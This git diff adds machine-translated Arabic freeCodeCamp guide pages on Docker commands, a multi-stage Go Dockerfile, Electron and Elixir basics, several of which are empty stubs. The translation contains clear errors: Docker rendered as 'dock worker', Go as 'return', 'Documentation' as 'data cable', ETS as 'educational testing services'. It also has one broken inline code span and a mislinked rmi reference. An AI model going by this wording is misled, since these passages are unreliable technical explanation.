+عند تشغيل حاويات Docker ، يجب أولاً إيقافها قبل حذفها.
+
+*   إيقاف جميع الحاويات قيد التشغيل: `docker stop $(docker ps -a -q)`
+*   حذف جميع الحاويات المتوقفة: `docker rm $(docker ps -a -q)`
+
+### قم بإزالة حاويات متعددة
+
+يمكنك إيقاف وحذف حاويات متعددة عن طريق تمرير أوامر قائمة الحاويات التي تريد إزالتها. إرجاع بنية shell `$()` نتائج ما يتم تنفيذه داخل الأقواس. لذلك يمكنك إنشاء قائمة الحاويات الخاصة بك داخل هذا لتمريرها إلى أوامر `stop` و `rm` .
+
+##### هنا هو انهيار عامل ميناء psa-q
+
+*   `docker ps` قائمة الحاويات
+*   `-a` خيار إدراج جميع الحاويات ، حتى تلك التي توقفت. بدون هذا ، يتم تعيين قائمة فقط على حاويات قيد التشغيل
+*   `-q` الخيار الهادئ لتوفير معرفات رقمية للحاوية فقط ، بدلاً من جدول كامل للمعلومات حول الحاويات
+
+#### معلومات اكثر:
+
+*   [Docker CLI docs: rm](https://docs.docker.com/engine/reference/commandline/rm/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/docker/docker-rmi/index.md b/client/src/guide/arabic/docker/docker-rmi/index.md
new file mode 100644
index 0000000000..4f44d17660
--- /dev/null
+++ b/client/src/guide/arabic/docker/docker-rmi/index.md
@@ -0,0 +1,29 @@
+---
+title: Docker rmi
+localeTitle: عامل الميناء rmi
+---
+## عامل الميناء rmi
+
+`docker rmi` يزيل الصور من الهوية الخاصة بهم.
+
+لإزالة الصورة ، تحتاج أولاً إلى إدراج جميع الصور للحصول على معرفات الصور واسم الصورة وغيرها من التفاصيل. من خلال تشغيل `docker images -a` بسيطة `docker images -a` أو `docker images` .
+
+بعد ذلك عليك التأكد من الصورة التي تريد إزالتها ، لتنفيذ ذلك الأمر `docker rmi <your-image-id>` . ثم يمكنك التأكد من أنه تمت إزالة الصورة أو لا من خلال قائمة جميع الصور والتحقق منها.
+
+### إزالة صور متعددة
+
+هناك طريقة لإزالة أكثر من صورة واحدة في كل مرة ، عندما تريد إزالة عدة صور محددة. لذلك للقيام بذلك لأول مرة الحصول على معرفات صورة ببساطة عن طريق إدراج الصور ثم تنفيذ أمر بسيط متبوع.
+
+`docker rmi <your-image-id> <your-image-id> ...`
+
+اكتب معرفات الصور في الأمر متبوعة بالمسافات بينها.
+
+### قم بإزالة كل الصور دفعة واحدة
+
+لإزالة جميع الصور ، هناك أمر بسيط للقيام بذلك. `docker rmi $(docker images -q)`
+
+هنا في الأمر أعلاه ، هناك أمران هما الأول الذي ينفذ في `$()` هو بناء جملة shell ويرجع النتائج التي تم تنفيذها في هذا النحو. لذلك في هذا `-q- is a option is used to provide to return the unique IDs,` $ () إرجاع نتائج معرفات صورة ثم إزالة `docker rmi` كافة هذه الصور.
+
+#### للمزيد من المعلومات:
+
+*   [Docker CLI docs: rmi](https://docs.docker.com/engine/reference/commandline/rm/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/docker/index.md b/client/src/guide/arabic/docker/index.md
new file mode 100644
index 0000000000..e420754b05
--- /dev/null
+++ b/client/src/guide/arabic/docker/index.md
@@ -0,0 +1,36 @@
+---
+title: Docker
+localeTitle: عامل ميناء
+---
+## عامل ميناء
+
+Docker عبارة عن منصة مفتوحة لإنشاء التطبيقات الموزعة وتشغيلها وتشغيلها. مكتوب في العودة. تم إصداره لأول مرة في عام 2013 وتم تطويره بواسطة شركة Docker، Inc.
+
+يستخدم عامل الميناء لتشغيل حزم تسمى "حاويات". يتم عزل الحاويات عن بعضها البعض ومن نظام التشغيل. هذه هي خفيفة الوزن أكثر من الأجهزة الظاهرية لأنها لا تستخدم الجهاز المضيف لتشغيل نظام التشغيل.
+
+تقوم عملية التوفير ، وهي طريقة لنشر التطبيقات وتشغيلها ، بتشغيل الخدمات المعزولة التي تعمل أصلاً على نواة لينكس. يمكن ضبط الذاكرة يدويًا لكل حاوية في Docker.
+
+يستخدم Docker لتبسيط التهيئة ، وضمان التدفق المستمر للتكامل والنشر. يمكن تحديد حاويات معينة لبيئات التطوير والتجهيز والإنتاج. التنفيذ الصحيح للحاوية في الإنتاج ، وفقا لدليل Docker ، هو تشغيله كخدمة ، وذلك باستخدام ملف `docker-compose.yml` للإعداد. هذا ملف YAML يحدد كيفية تصرف حاويات Docker في الإنتاج.
+
+واحدة من أكبر مزايا Docker هي أنه يمكن استخدامها من قبل فريق يستخدم أنظمة تشغيل مختلفة لبناء المشاريع دون الحاجة إلى القلق بشأن صراعات البرمجيات.
+
+### التركيب
+
+*   أوبونتو: `sudo apt install docker`
+    
+*   RedHat: `yum install docker-ce`
+    
+*   Windows / macOS: [تنزيل](https://www.docker.com/get-started)
+    
+*   لينكس:
+    
+
+ `curl -fsSL https://get.docker.com -o get-docker.sh 
+ sh get-docker.sh 
+` 
+
+#### معلومات اكثر:
+
+*   للتنزيل والتحقق من الوثائق ، راجع الموقع [الرسمي لـ docker](https://www.docker.com) : [الموقع الرسمي لشركة Docker](https://www.docker.com)
+*   لمعرفة المزيد عن الحاويات ، قم بالبحث [عن عمليات تكنولوجيا المعلومات](https://searchitoperations.techtarget.com/definition/application-containerization-app-containerization)
+*   A Docker 101 course [Docker 101](https://github.com/docker/labs/tree/master/beginner/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/docker/separate-build-image/index.md b/client/src/guide/arabic/docker/separate-build-image/index.md
new file mode 100644
index 0000000000..d813a094a0
--- /dev/null
+++ b/client/src/guide/arabic/docker/separate-build-image/index.md
@@ -0,0 +1,80 @@
+---
+title: Separate Build Image
+localeTitle: صورة بناء منفصلة
+---
+## نظرة عامة
+
+جعل صور عامل ميناء خفيفة الوزن هو مفتاح وجود خط أنابيب سريع التطوير / النشر. بالنسبة إلى الشفرات المترجمة ، فإن بناء الملف الثنائي داخل حاوية عامل ميناء له فائدة من كونه عملية إنشاء متكررة وموحدة. ومع ذلك ، يمكن لهذا إنشاء صور كبيرة جدًا يمكن أن تصبح مشكلة أسفل الخط.
+
+## لدينا الكود
+
+في هذا المثال ، سنستخدم خادمًا بسيطًا لخادم الويب في [Go](https://golang.org/) . التعليمة البرمجية التالية هي مجرد webserver hello world يستمع على المنفذ `8080` .
+
+ `package main 
+ 
+ import ( 
+    "fmt" 
+    "log" 
+    "net/http" 
+ ) 
+ 
+ func handler(w http.ResponseWriter, r *http.Request) { 
+    fmt.Fprint(w, "Hello world!") 
+ } 
+ 
+ func main() { 
+    http.HandleFunc("/", handler) 
+    log.Fatal(http.ListenAndServe(":8080", nil)) 
+ } 
+` 
+
+### Dockerfile
+
+قد يبدو Dockerfile لهذا الرمز شيء من هذا القبيل
+
+ `FROM golang:1.11 
+ 
+ ADD . /app 
+ 
+ WORKDIR /app 
+ 
+ RUN go build -o /myserver . 
+ 
+ EXPOSE 8080 
+ 
+ CMD [ "/myserver" ] 
+` 
+
+بناء هذه الصورة ينتج في صورة بحجم 783MB !! باستخدام صورة بهذا الحجم للتطبيق البسيط ، من السهل رؤية كيف يمكن أن يؤدي ذلك إلى إبطاء الأشياء عند النشر.
+
+## حل أفضل
+
+الحل الأفضل هو استخدام صورة بناء منفصلة لبناء الملف الثنائي ثم نسخه إلى الصورة النهائية. كما يولد Go بثًا مستقلاً ، يمكننا استخدام صورة docker `scratch` كقاعدة صغيرة جدًا بقدر ما تحصل عليه!
+
+### Dockerfile
+
+سيقوم Dockerfile التالي ببناء الثنائي داخل صورة golang ومن ثم بناء صورة جديدة من الصفر ، نسخ الملف الثنائي من الصورة الأولى إلى الثانية.
+
+ `FROM golang:1.11 as build 
+ 
+ ADD . /app 
+ 
+ WORKDIR /app 
+ 
+ RUN go build -o /myserver . 
+ 
+ 
+ FROM scratch 
+ 
+ COPY --from=build /myserver /myserver 
+ 
+ EXPOSE 8080 
+ 
+ CMD [ "myserver" ] 
+` 
+
+بناء من هذا dockerfile النتائج في حجم الصورة النهائية من 6.55MB فقط! هذا **أصغر** من **100 مرة** من محاولتنا الأولى ، مما يجعله أسرع 100 مرة في سحب الصورة من التسجيل!
+
+### مكافأة منحة
+
+ليس لدينا الآن فقط صورة رصيف صغيرة لتطبيقنا ، بل يجب علينا فقط أن نقلق بشأن أمن تطبيقنا لأنه لا يوجد برنامج آخر يعمل داخل الحاوية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/documentation/index.md b/client/src/guide/arabic/documentation/index.md
new file mode 100644
index 0000000000..e4eab50863
--- /dev/null
+++ b/client/src/guide/arabic/documentation/index.md
@@ -0,0 +1,13 @@
+---
+title: Code documentation
+localeTitle: وثائق قانون
+---
+## وثائق قانون
+
+وثائق التعليمات البرمجية هي طريقة مطوري كتابة التعليمات البرمجية الخاصة بهم لإنشاء أفضل إصدارات وظائفهم المحتملة. تتيح وثائق الكود للمبتدئ الحصول على راحة مع تخصيص الوحدة النمطية الخاصة ، أو الوظيفة ، إلخ ، من أجل لغة برمجة معينة.ومن المستحسن دائمًا الذهاب مع الوثائق قبل تصحيح الكود ، وهذا يساعدك على التصحيح بفعالية. على سبيل المثال ، يجب عليك القدرة على تمرير الشفرة إلى مبتدئ مطلق ويجب أن يكونوا قادرين على المتابعة من خلال التعليقات وأسماء المتغيرات المناسبة ورمز الهيكلة بطريقة متباعدة وقابلة للقراءة.
+
+قد تصبح فكرة مهمة للغاية للتخلص من التعليق على وظائفك ، وحلقاتك ، وإعلاناتك ، ومعالجة التعليقات كجزء من شفرة المصدر ، مثلما يجب أن تكون الشفرة العادية.
+
+![مثال على التعليق في العالم الحقيقي](https://cdn-images-1.medium.com/max/1620/1*Pyxsc7Uixbitv5myywaA_Q.jpeg)
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/electron/index.md b/client/src/guide/arabic/electron/index.md
new file mode 100644
index 0000000000..fc0f269948
--- /dev/null
+++ b/client/src/guide/arabic/electron/index.md
@@ -0,0 +1,30 @@
+---
+title: Electron
+localeTitle: الإلكترون
+---
+## Electron - بناء تطبيقات سطح المكتب عبر منصة مع جافا سكريبت ، HTML ، CSS
+
+يتيح لك Electron إنشاء تطبيقات سطح المكتب عبر الأنظمة الأساسية باستخدام تقنية الويب. أنت يمكنك إنشاء تطبيقات سطح المكتب لنظام التشغيل Windows و Mac والنكهات الأكثر شيوعًا في Linux.
+
+تم تصميم Electron على Chromium (إصدار مفتوح المصدر من Google Chrome). أنت استخدام تقنيات الويب مثل HTML و JavaScript و CSS لإنشاء تطبيقات Electron. أن يعني أنه يمكنك استخدام معظم تقنيات الويب التي تريد إنشاء تطبيق سطح المكتب الأصلي عليها. على سبيل المثال ، يمكنك استخدام [React](https://medium.freecodecamp.org/building-an-electron-application-with-create-react-app-97945861647c) أو [Angular](https://scotch.io/tutorials/creating-desktop-applications-with-angularjs-and-github-electron) لإنشاء تطبيق سطح المكتب الأول.
+
+بالإضافة إلى ذلك ، يأتي Electron مع دعم للتحديث التلقائي ، وتقارير الأعطال ، والقوائم المحلية.
+
+يمكن استكشاف الميزات الأساسية باستخدام [عروض واجهة برمجة تطبيقات Electron](https://github.com/electron/electron-api-demos)
+
+تتضمن بعض التطبيقات التي تم إنشاؤها باستخدام Electron:
+
+*   [Atom](https://atom.io/) (محرر نصوص مفتوح المصدر لـ GitHub)
+*   [Visual Studio Code](https://code.visualstudio.com) (محرر نصوص مفتوح المصدر من Microsoft)
+*   [Skype](https://www.skype.com/) (تطبيق الدردشة المرئية الشهير من Microsoft)
+*   [سلاك](https://slack.com/) (تطبيق مراسلة للفرق)
+*   [Discord](https://discordapp.com) (تطبيق مراسلة مشهور للاعبين)
+*   [سطح مكتب Github](https://desktop.github.com/) (عميل [Gitub Desktop](https://desktop.github.com/) الرسمي)
+
+### مراجع معلومات إضافية
+
+*   [موقع رسمي](https://electronjs.org/)
+*   [فيديو - ما هو الكترون](https://www.youtube.com/watch?v=8YP_nOCO-4Q&feature=youtu.be)
+*   \[الإلكترون و Vue\]: https://medium.com/@kswanie21/electron-vue-js-f6c40abeb625
+*   \[Electron and React\]: https://medium.freecodecamp.org/building-an-electron-application-with-create-react-app-97945861647c
+*   \[Electron and Angular\]: https://scotch.io/tutorials/creating-desktop-applications-with-angularjs-and-github-electron
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/behaviours/index.md b/client/src/guide/arabic/elixir/behaviours/index.md
new file mode 100644
index 0000000000..023055ea09
--- /dev/null
+++ b/client/src/guide/arabic/elixir/behaviours/index.md
@@ -0,0 +1,11 @@
+---
+title: Behaviours
+localeTitle: السلوكيات
+---
+## السلوكيات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/behaviours/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/comprehensions/index.md b/client/src/guide/arabic/elixir/comprehensions/index.md
new file mode 100644
index 0000000000..67b5968698
--- /dev/null
+++ b/client/src/guide/arabic/elixir/comprehensions/index.md
@@ -0,0 +1,11 @@
+---
+title: Comprehensions
+localeTitle: Comprehensions
+---
+## Comprehensions
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/comprehensions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/concurrency/index.md b/client/src/guide/arabic/elixir/concurrency/index.md
new file mode 100644
index 0000000000..d3c8f0060f
--- /dev/null
+++ b/client/src/guide/arabic/elixir/concurrency/index.md
@@ -0,0 +1,11 @@
+---
+title: Concurrency
+localeTitle: التزامن
+---
+## التزامن
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/concurrency/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/control-structures/index.md b/client/src/guide/arabic/elixir/control-structures/index.md
new file mode 100644
index 0000000000..9903fa8201
--- /dev/null
+++ b/client/src/guide/arabic/elixir/control-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Control Structures
+localeTitle: جمل التحكم
+---
+## جمل التحكم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/control-structures/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/custom-mix-tasks/index.md b/client/src/guide/arabic/elixir/custom-mix-tasks/index.md
new file mode 100644
index 0000000000..50b454d21f
--- /dev/null
+++ b/client/src/guide/arabic/elixir/custom-mix-tasks/index.md
@@ -0,0 +1,11 @@
+---
+title: Custom Mix Tasks
+localeTitle: مخصص ميكس المهام
+---
+## مخصص ميكس المهام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/custom-mix-tasks/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/data-types/index.md b/client/src/guide/arabic/elixir/data-types/index.md
new file mode 100644
index 0000000000..0f26bcb8c9
--- /dev/null
+++ b/client/src/guide/arabic/elixir/data-types/index.md
@@ -0,0 +1,66 @@
+---
+title: Data Types
+localeTitle: أنواع البيانات
+---
+## أنواع البيانات
+
+يوجد في الإكسير خمسة أنواع من البيانات الأساسية: الأعداد الصحيحة ، العوامات ، البواليز ، الذرات ، السلاسل. تُستخدم أنواع البيانات هذه لتخزين القيم لاستخدامها لاحقًا في برنامجك.
+
+### الأعداد الصحيحة
+
+العدد الصحيح هو رقم غير عشري. وقد بنى Elixir دعمًا للأرقام الثنائية ، والثمانية ، والسداسي عشرية كأعداد صحيحة.
+
+ `iex> 1337 
+ 1337 
+` 
+
+### العربات
+
+يتطلب العوم عشريًا ورقمًا واحدًا على الأقل بعد العلامة العشرية. يدعم Floats دقة مزدوجة 64 بت و `e` أجل exponets.
+
+ `iex> 27e-100 
+ 27e-100 
+` 
+
+### القيم المنطقية
+
+البولية هي قيمة حقيقية أو خاطئة. في الإكسير كل شيء صدق ما عدا `false` ولا `nil` . من المهم ملاحظة أن booleans هي نوع فرعي من ذرات Elxir (يمكنك فحص القيم في IEX لترى بنفسك).
+
+ `iex> true 
+ true 
+ iex> false 
+ false 
+ iex> nil 
+ nil 
+` 
+
+### ذرات
+
+تعتبر الذرة قيمة ثابتة هي نفس الاسم. يتم استخدام الذرات بشكل شائع لرسائل الحالة / الأخطاء داخل المجموعة مع المزيد من المعلومات المضمنة في سلسلة.
+
+ `iex> {:ok, "Message sent successfully"} 
+ {:ok, "Message sent successfully"} 
+ iex> {:error, "Message failed to send"} 
+ {:error, "Message failed to send"} 
+` 
+
+### سلاسل
+
+السلسلة UTF-8 مشفرة وملفوفة في علامات اقتباس مزدوجة.
+
+ `iex> "freeCodeCamp" 
+ "freeCodeCamp" 
+` 
+
+السلسلة هي أيضًا ثنائية ، يمكنك رؤية تمثيل ثنائي لسلسلة في Elixir عن طريق إرفاق `<> <<0>>` بنهاية السلسلة. يمكن أن تمثل السلسلة ثنائيًا ، ويمكن أن يمثل الثنائي أيضًا سلسلة.
+
+ `iex> "freeCodeCamp" <> <<0>> 
+ <<102, 114, 101, 101, 67, 111, 100, 101, 67, 97, 109, 112, 0>> 
+` 
+
+#### معلومات اكثر
+
+*   [هيكسسكسس أتوم](https://hexdocs.pm/elixir/Atom.html)
+*   [سلسلة Hexdocs](https://hexdocs.pm/elixir/String.html)
+*   [Hexdocs عدد صحيح](https://hexdocs.pm/elixir/Integer.html)
+*   [Hexdocs تعويم](https://hexdocs.pm/elixir/Float.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/debugging/index.md b/client/src/guide/arabic/elixir/debugging/index.md
new file mode 100644
index 0000000000..7626f89f47
--- /dev/null
+++ b/client/src/guide/arabic/elixir/debugging/index.md
@@ -0,0 +1,11 @@
+---
+title: Debugging
+localeTitle: التصحيح
+---
+## التصحيح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/debugging/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/documentation/index.md b/client/src/guide/arabic/elixir/documentation/index.md
new file mode 100644
index 0000000000..a907fabe83
--- /dev/null
+++ b/client/src/guide/arabic/elixir/documentation/index.md
@@ -0,0 +1,55 @@
+---
+title: Documentation
+localeTitle: كابل بيانات
+---
+## كابل بيانات
+
+واحدة من أفضل المتطور من إكسير بالمقارنة مع لغات البرمجة الأخرى هو نظام التوثيق الخاص بها. يتم إنشاء وثائق Elixir بواسطة تعليقات الكود الخاص بك وجعلها في موقع HTML جميل لتصفح بسهولة وفهم كيفية عمل التطبيق. بمجرد فهم كيفية التعليق على الكود بشكل صحيح في الإكسير ، ستتمكن من شرح كيفية عمل التطبيق الخاص بك مع المبرمجين الآخرين بسهولة. في الأمثلة أدناه ، نعرض استخدام وظائف وثائق Elixir في وحدة خادم الويب الخيالية.
+
+### الوثائق المضمنة
+
+يستخدم المستند المضمن `#` أمام نص يصف شيئًا عن الشفرة.
+
+ `def get(path) do 
+    # This is an inline comment for documentation purposes. 
+    "http get request response" 
+  end 
+` 
+
+### وثائق الوحدة
+
+يصف مستند الوحدة النمطية الغرض من وحدة نمطية. تشبه Moduledocs التعليقات متعددة الأسطر التي قد تجدها في لغات البرمجة الأخرى.
+
+ `defmodule WebServer do 
+  @moduledoc """ 
+    Provides a set of functions to accept and respond to HTTP requests. 
+    This module provides the @get/1, @post/1, and @put/1 functions. 
+  """ 
+ end 
+` 
+
+### وثائق الوظيفة
+
+تصف وثائق الوظيفة الغرض من وظيفة واحدة واستخدامها. تتشابه أداة Functiondocs مع التعليقات متعددة الأسطر التي قد تجدها في لغات البرمجة الأخرى. كما تعرض أمثلة على الدالة بحيث يعرف مبرمج آخر ما يمكن توقعه.
+
+ `  @doc """ 
+    Responds to a get request 
+ 
+    ## Parameters 
+     - path: A path to the desired resource 
+ 
+    ## Examples 
+     - iex> WebServer.get(/documentation.pdf) 
+       "Returning documentation.pdf 
+     - iex> WebServer.get(/downloads.html) 
+       "Returning downloads.html" 
+  """ 
+  def get(path) do 
+    "http get request response" 
+  end 
+` 
+
+#### معلومات اكثر:
+
+*   [ElixirSchool - التوثيق](https://elixirschool.com/en/lessons/basics/documentation/)
+*   [ExDoc](https://github.com/elixir-lang/ex_doc)
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/ecto/index.md b/client/src/guide/arabic/elixir/ecto/index.md
new file mode 100644
index 0000000000..fdd2d0b1a6
--- /dev/null
+++ b/client/src/guide/arabic/elixir/ecto/index.md
@@ -0,0 +1,11 @@
+---
+title: Ecto
+localeTitle: Ecto
+---
+## Ecto
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/ecto/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/embedded-elixir/index.md b/client/src/guide/arabic/elixir/embedded-elixir/index.md
new file mode 100644
index 0000000000..0b62d4c694
--- /dev/null
+++ b/client/src/guide/arabic/elixir/embedded-elixir/index.md
@@ -0,0 +1,11 @@
+---
+title: Embedded Elixir
+localeTitle: الإكسير المضمنة
+---
+## الإكسير المضمنة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/embedded-elixir/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/enumerables/index.md b/client/src/guide/arabic/elixir/enumerables/index.md
new file mode 100644
index 0000000000..c1a8ac093a
--- /dev/null
+++ b/client/src/guide/arabic/elixir/enumerables/index.md
@@ -0,0 +1,32 @@
+---
+title: Enumerables
+localeTitle: enumerable
+---
+## المتعدادات (التعداد)
+
+في لغات البرمجة الشيئية ، ستستخدم "loop" لتنفيذ نفس الإجراء مرارا وتكرارا على جزء من البيانات ، في Elixir لأن المتغيرات هي غير قابلة للتغيير ، غير ممكن لإنشاء حلقة tradational ، بدلا من Elixir وغيرها من لغات البرمجة الوظيفية تعتمد على العودية. مع العودية سوف تقوم بتنفيذ نفس الإجراء فوق كل عنصر في قائمة دون الحاجة إلى تغيير متغير. مكتبة Enum التي بنيت في الإكسير يجعل هذا سهلا.
+
+## مثال
+
+باستخدام `Enum.map` يمكنك تشغيل وظيفة مجهولة (وظيفة ليست داخل وحدة نمطية) تمر فوق كل عنصر في قائمة. هذا ينجز نفس المهمة مثل حلقة tradational دون الحاجة إلى تحوير متغير تراكم.
+
+ `iex> Enum.map([1, 2, 3], fn(x) -> x * 2 end) 
+ [2, 4, 6] 
+` 
+
+## طرق في وحدة التعداد
+
+تحتوي وحدة Enum على أكثر من 70 وظيفة مختلفة لاستخدامها في Enumerables ، وستدرجها جميعًا هنا ستحتاج إلى بضع صفحات. بدلاً من ذلك ، دعنا نلقي نظرة على الوظائف الأكثر استخدامًا في وحدة التعداد.
+
+### Enum.map
+
+يتم تشغيل `Enum.map` وظيفة مجهول أو تم التقاطها عبر قائمة.
+
+ `iex> Enum.map([5, 10, 15, 20], fn(x) -> x * 2 end) 
+ [10, 20, 30, 40] 
+` 
+
+#### معلومات اكثر:
+
+*   [elixir-lang.org | العودية](https://elixir-lang.org/getting-started/enumerables-and-streams.html)
+*   [hexdocs | التعداد](https://hexdocs.pm/elixir/Enum.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/erlang-interoperability/index.md b/client/src/guide/arabic/elixir/erlang-interoperability/index.md
new file mode 100644
index 0000000000..92f27dbcb2
--- /dev/null
+++ b/client/src/guide/arabic/elixir/erlang-interoperability/index.md
@@ -0,0 +1,11 @@
+---
+title: Erlang Interoperability
+localeTitle: Erlang Interoperability
+---
+## Erlang Interoperability
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/erlang-interoperability/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/erlang-term-storage/index.md b/client/src/guide/arabic/elixir/erlang-term-storage/index.md
new file mode 100644
index 0000000000..6047db5934
--- /dev/null
+++ b/client/src/guide/arabic/elixir/erlang-term-storage/index.md
@@ -0,0 +1,38 @@
+---
+title: Erlang Term Storage
+localeTitle: Erlang Term Storage
+---
+## Erlang Term Storage
+
+يعتبر Erlang Term Storage ، الذي يتم اختزاله عادة باسم ETS ، قاعدة بيانات في الذاكرة مدمجة في OTP ، ويمكن الوصول إليها داخل الإكسير ، وهو بديل قوي لحلول مثل Redis عند تشغيل التطبيق الخاص بك على عقدة واحدة.
+
+## بداية سريعة
+
+لإنشاء جدول ETS ، تحتاج أولاً إلى `tableName = :ets.new(:table_otp_name, [])` جدول `tableName = :ets.new(:table_otp_name, [])` ، بمجرد أن تقوم بتحويل جدول ما ، يمكنك: إدخال البيانات وقيم البحث وحذف البيانات والمزيد.
+
+### ETS Demo في IEX
+
+ `iex(1)> myETSTable = :ets.new(:my_ets_table, []) 
+ #Reference<0.1520230345.550371329.65846> 
+ iex(2)> :ets.insert(myETSTable, {"favoriteWebSite", "freeCodeCamp"}) 
+ true 
+ iex(3)> :ets.insert(myETSTable, {"favoriteProgrammingLanguage", "Elixir"}) 
+ true 
+ iex(4)> :ets.i(myETSTable) 
+ <1   > {<<"favoriteProgrammingLanguage">>,<<"Elixir">>} 
+ <2   > {<<"favoriteWebSite">>,<<"freeCodeCamp">>} 
+ EOT  (q)uit (p)Digits (k)ill /Regexp --> 
+` 
+
+## إصرار
+
+جداول ETS ليست ثابتة ويتم تدميرها بمجرد انتهاء العملية التي تمتلكها. إذا كنت ترغب في تخزين البيانات باستمرار ، يوصى باستخدام قاعدة بيانات تقليدية و / أو تخزين قائم على الملفات.
+
+## استخدم حالات
+
+تستخدم جداول خدمات الاختبارات التربوية بشكل شائع في تخزين البيانات المخبأة في التطبيق ، على سبيل المثال ، قد يتم تخزين بيانات الحساب التي يتم جلبها من قاعدة بيانات في جدول ETS لتقليل حجم الاستعلامات إلى قاعدة البيانات. حالة استخدام أخرى هي تحديد معدل استخدام الميزات في تطبيق الويب - سرعة القراءة والكتابة في ETS تجعلها رائعة لهذا. جداول ETS هي أداة قوية لتطوير تطبيقات ويب متوافقة بشكل كبير بأقل تكلفة ممكنة للأجهزة.
+
+#### معلومات اكثر:
+
+*   [elixir-lang.org | مكتبات إرلانج (ETS)](https://elixir-lang.org/getting-started/erlang-libraries.html#erlang-term-storage)
+*   [erlang.org | ETS](http://erlang.org/doc/man/ets.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/error-handling/index.md b/client/src/guide/arabic/elixir/error-handling/index.md
new file mode 100644
index 0000000000..d81807dce7
--- /dev/null
+++ b/client/src/guide/arabic/elixir/error-handling/index.md
@@ -0,0 +1,11 @@
+---
+title: Error Handling
+localeTitle: معالجة الأخطاء
+---
+## معالجة الأخطاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/error-handling/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/executables/index.md b/client/src/guide/arabic/elixir/executables/index.md
new file mode 100644
index 0000000000..066fed72b9
--- /dev/null
+++ b/client/src/guide/arabic/elixir/executables/index.md
@@ -0,0 +1,11 @@
+---
+title: Executables
+localeTitle: التنفيذية
+---
+## التنفيذية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/executables/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/functions/index.md b/client/src/guide/arabic/elixir/functions/index.md
new file mode 100644
index 0000000000..13c4c077e1
--- /dev/null
+++ b/client/src/guide/arabic/elixir/functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions
+localeTitle: المهام
+---
+## المهام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
